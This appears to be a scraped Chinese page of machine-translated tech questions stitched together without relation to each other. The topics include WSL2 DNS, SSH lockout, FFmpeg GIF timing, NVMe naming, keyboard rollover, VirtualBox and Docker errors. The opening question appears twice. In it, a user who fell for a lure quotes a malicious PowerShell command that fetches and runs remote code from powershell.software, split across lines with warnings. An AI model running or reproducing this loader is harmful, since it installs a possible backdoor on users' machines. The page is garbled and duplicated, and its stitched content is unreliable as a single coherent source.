我是个白痴,被吸引到运行 PowerShell 脚本。它的细节是什么?我有一种感觉,他们只从我的系统上传了一些文件。
但我担心我的系统上可能有一个后门正在运行。我可以忍受的上传,但不是后门。
警告!不要 运行 此脚本。
iex "& { $(irm
(我把它分成两行以防止无意运行它)
powershell.software/versioncheck) } RunJob"
警告!不要 运行 此脚本。
我是个白痴,被吸引到运行 PowerShell 脚本。它的细节是什么?我有一种感觉,他们只从我的系统上传了一些文件。
但我担心我的系统上可能有一个后门正在运行。我可以忍受的上传,但不是后门。
警告!不要 运行 此脚本。
iex "& { $(irm
(我把它分成两行以防止无意运行它)
powershell.software/versioncheck) } RunJob"
警告!不要 运行 此脚本。
据我所知,在 Windows 10 上更改 WSL2 使用哪个 DNS 服务器的官方过程如下所述。(WSL2 是适用于 Linux 的 Windows 子系统的新版本,它在 Windows 10 上的轻量级 VM 中运行实际的 Linux 内核。)
然而,这个过程对我不起作用——我最终得到的系统只是超时并且无法解析任何地址。
我究竟做错了什么?
到目前为止,这是我拼凑起来的过程:
1.关闭生成/etc/resolv.conf
使用您的 Linux 提示符(我使用的是 Ubuntu),使用以下内容修改(或创建)/etc/wsl.conf
[network]
generateResolvConf = false
(显然在当前版本中有一个错误,这些行上的任何尾随空格都会出错。)
2.重启WSL2虚拟机
退出所有 Linux 提示并运行以下 Powershell 命令
wsl --shutdown
3.创建自定义/etc/resolv.conf
打开一个新的 Linux 提示符并 cd 到/etc
如果resolv.conf
软链接到另一个文件,请删除链接
rm resolv.conf
新建一个resolv.conf
,内容如下
nameserver 1.1.1.1
4.重启WSL2虚拟机
与步骤 #2 相同
5. 启动一个新的 Linux 提示符。
利润!
2020 年 3 月 18 日更新
我的/etc/hosts
文件包含以下内容:
# This file was automatically generated by WSL. To stop automatic generation of this file, add the following entry to /etc/wsl.conf:
# [network]
# generateHosts = false
127.0.0.1 localhost
127.0.1.1 [redacted] bearps-desktop
10.168.244.140 host.docker.internal
10.168.244.140 gateway.docker.internal
127.0.0.1 kubernetes.docker.internal
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
该文件/etc/switch.conf
不存在。
该工具resolvectl
不在我的路径上;它不存在于/usr/bin/resolvectl
。
同样systemd-resolve
不在我的路上;它不存在于/usr/bin/systemd-resolve
。
我正在通过 SSH 远程使用 GNU/Linux 系统。
我错误地在我的$HOME/.bash_profile
scriot 中添加了一些导致错误的内容。(具体来说:我添加了一个exec foo
命令而不是. foo
,应用于另一个没有执行权限的 bash 脚本,这会导致错误。)
现在我似乎无法通过 SSH、SCP 或 SFTP 进入我的机器:bash,我的登录 shell,尝试运行exec foo
命令,得到错误并把我扔了出去!我没有任何其他可以远程访问的帐户。
我可以做些什么来恢复对系统的访问吗?
额外细节:
我有一个 60 fps 的短视频,我想将其转换为 GIF 文件。我跑
ffmpeg -i foo.flv foo.gif
并生成一个 GIF 文件。伟大的!
唯一的问题是生成的 GIF 视频中的动作不稳定且不均匀。如果我使用其他工具,我可以看到 FFmpeg 创建了一个视频,其中第一帧长 10 毫秒,第二帧 20 毫秒,第三帧 20 毫秒,然后它会这样重复:10 毫秒、20 毫秒、20 毫秒。如果我使用另一个工具将它平滑到每帧 16 毫秒(不更改帧内容),结果看起来很漂亮。
为什么 FFmpeg 这样做?我怎样才能让它编写一个 GIF 文件,而不是每帧请求 16 毫秒,这样我就不需要使用第二个工具了?
我现在已经看到这个相关问题询问 60 fps GIF 视频是否存在,但它没有解决如何要求 FFmpeg 改变其行为的问题。此外,它提出了一个新问题:如果 16ms 不是 GIF 可以表示的时间,那么我正在使用的其他工具是做什么的,为什么效果很好?
最近我在我的 Linux 计算机上安装了一个 NVMe 驱动器,我注意到它被列为/dev/nvme0
并且它的分区是/dev/nvme0p1
. 我知道它与 SATA 驱动器的接口不同,但它以这种方式列出的原因是什么?似乎调用驱动器/dev/sd$LETTER$PARTITIONNUMBER
是标准,即使事物有不同的标准,如 SCSI,这打破了这一点,除了不同的名称之外,还使用数字而不是字母来表示驱动器和分区号前的 ap。
当我用手猛击键盘时,最多只能注册 6 个键,我在过去几分钟对此进行了测试,但无法获得超过 6 个键。这在所有键盘上都一样吗?如果不是,区别因素是什么,如果是:为什么是 6?
澄清一下:我没有这个用例,我只是好奇
在 VirtualBox 中启动 VM 后,我立即收到一个包含以下错误消息的错误框:
调用 WHvSetupPartition 失败:ERROR_SUCCESS (Last=0xc000000d/87) (VERR_NEM_VM_CREATE_FAILED)。
我正在运行 Windows 10 Professional,版本 1903,并已确认未启用 Hyper-V。
我正在尝试运行命令 docker-compose build
我得到这个输出:
Step 4/8 : RUN apt-get update && apt-get install -y google-chrome-stable
---> Running in ee9551cd38b9
Ign http://dl.google.com stable InRelease
Get:1 http://security.debian.org jessie/updates InRelease [44.9 kB]
.....
Get:9 http://deb.debian.org jessie/main amd64 Packages [9098 kB]
W: Fetched 10.1 MB in 6s (1519 kB/s)
Failed to fetch http://deb.debian.org/debian/dists/jessie-updates/InRelease Unable to find expected entry 'main/binary-amd64/Packages' in Release file (Wrong sources.list entry or malformed file)
E: Some index files failed to download. They have been ignored, or old ones used instead.
ERROR: Service 'webpack' failed to build: The command '/bin/sh -c apt-get update && apt-get install -y google-chrome-stable' returned a non-zero code: 100
任何有想法的人?